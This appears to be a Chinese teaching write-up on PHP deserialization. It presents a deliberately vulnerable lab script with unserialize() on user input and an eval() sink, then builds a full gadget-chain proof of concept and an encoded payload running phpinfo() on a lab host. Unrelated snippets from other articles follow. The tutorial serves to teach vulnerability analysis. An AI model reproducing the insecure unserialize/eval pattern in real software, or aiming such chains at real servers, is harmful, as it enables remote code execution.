反序列化漏洞(2), 分析调用链, 编写POC

news/2025/2/14 1:36:03/

反序列化漏洞(2), 反序列化调用链分析

一, 编写php漏洞脚本

http://192.168.112.200/security/unserial/ustest.php

<?php
class Tiger{public $string;protected $var;public function __toString(){return $this->string;}public function boss($value){@eval($value);}public function __invoke(){$this->boss($this->var);}
}class Lion{public $tail;public function __construct(){$this->tail = array();}public function __get($value){$function = $this->tail;return $function();}
}class Monkey{public $head;public $hand;public function __construct($here="cmd"){$this->head = $here;echo "Welcome to ".$this->head."<br>";}public function __wakeup(){if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->head)) {echo "hacker";$this->source = "index.php";}}
}class Elephant{public $nose;public $nice;public function __construct($nice="nice"){$this->nice = $nice;echo $nice;}public function __toString(){return $this->nice->nose;}
}if(isset($_GET['cmd'])){@unserialize($_GET['cmd']);
}
else{$a = new Monkey;echo "Hello!";
}
?>

二. 代码审计, 编写POC脚本

1. 找到执行终点.

eval() 函数在Tiger类的boss()方法中, 那么只要能从unserialize()方法开始反序列化, 最终执行到 boss()方法就可以利用了.

2. 找到执行起点.

通常反序列化函数unserialize()在执行后, 必然会调用 __wakeup() 与 __destruct() 方法.
只有在 Monkey 类中有 __wakeup(), 那么以 Monkey 类作为调用链的起点来分析.

3. 分析出一条可以从起点到终点的调用链

Monkey 类的 __wakeup() 中调用 preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->head),
preg_match() 函数要求两个参数都是字符串, 第一个参数是正则式, 第二个参数 $this->head 也必须是字符串.

我们看到 $this->head 的值最开始是来源于构造方法 __construct($here="cmd"), 默认值是"cmd",
如果程序走到 preg_match(), $this->head 作为参数传入时是一个字符串, 那么 __wakeup() 中就无法再执行到其他类的属性或方法了, 而我们的最终目的是要走到Tiger类的boss()方法, 所以 $this->head 这里考虑一下类型转换的情况.

我们再观察其他能够自动执行的魔术方法, 发现 __toString() 函数, 这个函数当对象转换为字符串时会自动调用.

那么我们再考虑 $this-head, 如果它原本是一个其他类的对象, 在传入 preg_match() 方法后就会被转换为字符串, 这样就会自动调用到那个类的 __toString() 方法了.

我们看到 __toString()TigerElephant 两个类中都有.
先看 Tiger 类, 它的 __toString() 只是返回了一个变量值, 无法调用其他对象或方法, 没有利用价值, 略过.

再看 Elephant 类, 它的 __toString () 返回 $this->nice->nose;, 那么我们如果让$this->head = new Elephant()就可以从Monkey对象自动走到这里.

根据上面的分析, 构造一下调用链的POC脚本:

class Elephant{public $nose;public $nice;
}class Monkey{public $head;public function __construct(){$this->head = new Elephant();}
}

继续分析$this->nice->nose;, 由 $this->nice 对象读取 nose 属性, 我们可以观察一下有没有与调用属性自动会触发的魔术方法.

发现在 Lion 类中有一个__GET()方法, 该方法在读取不存在的属性时被调用.

那么如果我们让$this->nice是一个Lion类的对象, 而Lion类中并没有 nose 属性, 所以会自动触发 __GET() 方法, 我们继续编写POC.

class Lion{public $tail;
}class Elephant{public $nose;public $nice;public function __construct(){$this->nice = new Lion();}
}class Monkey{public $head;public function __construct(){$this->head = new Elephant();}
}

继续分析 __GET() 方法, 它里面有两句代码:

$function = $this->tail;
return $function();

我们知道在php中, 对象可以用函数形式来调用, 比如

$obj = new Test(); // 创建一个Test对象叫做 obj
$obj();

当对象以函数形式调用时, 会自动触发 __invoke() 方法.

那么回来观察 __GET() 方法, 如果 $this->tail 是一个对象的话, return $function(); 就是以函数形式调用对象, 它可以触发 __invoke() .

接下来我们观察一下其他类有没有 __invoke()方法, 发现在 Tiger 类中有, 那么我们让 Lion 走到 Tiger , 继续修改POC:

class Tiger{public $string;protected $var;}class Lion{public $tail;public function __construct(){$this->tail = new Tiger();}
}class Elephant{public $nose;public $nice;public function __construct(){$this->nice = new Lion();}
}class Monkey{public $head;public function __construct(){$this->head = new Elephant();}
}

继续分析 Tiger 中的代码, 发现__invoke()在调用 $this->boss($this->var);, 而boss()函数就是我们的终点, 参数就是属性var.

所以最后只要做一个赋值就可以完成整个调用链了, 修改poc:

<?php
class Tiger{public $string;protected $var = "phpinfo();"; // 执行phpinfo()}class Lion{public $tail;public function __construct(){$this->tail = new Tiger();}
}class Elephant{public $nose;public $nice;public function __construct(){$this->nice = new Lion();}
}class Monkey{public $head;public function __construct(){$this->head = new Elephant();}
}// 创建对象显示出最终的序列化字符串
$monkey = new Monkey();
echo urlencode(serialize($monkey));
?>

poc执行结果:

O%3A6%3A%22Monkey%22%3A1%3A%7Bs%3A4%3A%22head%22%3BO%3A8%3A%22Elephant%22%3A2%3A%7Bs%3A4%3A%22nose%22%3BN%3Bs%3A4%3A%22nice%22%3BO%3A4%3A%22Lion%22%3A1%3A%7Bs%3A4%3A%22tail%22%3BO%3A5%3A%22Tiger%22%3A2%3A%7Bs%3A6%3A%22string%22%3BN%3Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D%7D%7D

三, 漏洞利用

http://192.168.112.200/security/unserial/ustest.php提交GET请求.

http://192.168.112.200/security/unserial/ustest.php
?cmd=O%3A6%3A%22Monkey%22%3A1%3A%7Bs%3A4%3A%22head%22%3BO%3A8%3A%22Elephant%22%3A2%3A%7Bs%3A4%3A%22nose%22%3BN%3Bs%3A4%3A%22nice%22%3BO%3A4%3A%22Lion%22%3A1%3A%7Bs%3A4%3A%22tail%22%3BO%3A5%3A%22Tiger%22%3A2%3A%7Bs%3A6%3A%22string%22%3BN%3Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D%7D%7D

在页面上会看到后端执行了phpinfo();.


http://www.ppmy.cn/news/1221168.html

相关文章

R脚本进行长宽数据转换

1.R脚本进行长宽数据转换 library(tidyverse) df tibble(Class c("1班", "2班"),Name c("张三&#xff0c;李四&#xff0c;王五", "赵六&#xff0c;钱七")) df## # A tibble: 2 x 2 ## Class Name ## <chr> <chr&g…

DbUtils示例

DbUtils:JDBC实用程序组件示例 本页提供了一些示例&#xff0c;说明如何使用Dbutils。 基本用途 DbUtils是一个非常小的类库&#xff0c;因此不需要很长时间就可以遍历每个类的javadocs。DbUtils中的核心类/接口是QueryRunner和ResultSetHandler。您不需要了解任何其他DbUti…

虾皮之家数据分析插件:知虾数据分析工具提升销量的利器

在当今的电商市场中&#xff0c;虾皮Shopee成为了许多商家的首选平台。然而&#xff0c;随着竞争的加剧&#xff0c;店铺运营变得越来越具有挑战性。如何提升销量&#xff0c;优化标题和图片&#xff0c;合理设置SKU&#xff0c;并准确跟踪店铺活动数据和竞品数据&#xff0c;已…

ERROR: column “xxxx.id“ must appear in the GROUP BY

org.postgresql.util.PSQLException: ERROR: column “xxx.id” must appear in the GROUP BY clause or be used in an aggregate function 错误**&#xff1a;列“XXXX.id”必须出现在GROUP BY子句中或在聚合函数中使用** 出现这种错误的sql如下&#xff1a; select name,…

我的项目分享(不喜勿喷)

我要分享的项目是大喇叭C2C电商平台系统&#xff0c;一个面向移动端的电子商务平台&#xff0c;为个体消费者和商家提供直接交易和沟通的便利&#xff0c;丰富了人们的生活。 主要功能模块&#xff1a; 该项目的主要功能包括&#xff1a; 1. 用户注册功能&#xff1a;使用正则…

单机版-redis(手动部署)

单机版-redis部署 部署模式:单机版-redis部署 Redis版本&#xff1a;redis-4.0.1 部署redis方式&#xff1a;手动部署 在完成第三步时已完成配置&#xff0c;后续为操作命令以及注意事项&#xff1b; 在进行操作数据库时&#xff0c;需要关注第五步注意事项&#xff0c;会涉…

Django模型层

模型层 与数据库相关的&#xff0c;用于定义数据模型和数据库表结构。 在Django应用程序中&#xff0c;模型层是数据库和应用程序之间的接口&#xff0c;它负责处理所有与数据库相关的操作&#xff0c;例如创建、读取、更新和删除记录。Django的模型层还提供了一些高级功能 首…

如果面试时,问你职业规划怎么答?

对于面试官来说&#xff0c;他真的无心听你讲奋斗规划&#xff0c;问你职业规划&#xff0c;无法是想从你的言语中&#xff0c;分辨出你的稳定性&#xff0c;进取心。 1、稳定性 作为面试官&#xff0c;如果觉得你是人才&#xff0c;打算把你招进来&#xff0c;面试官最担心的…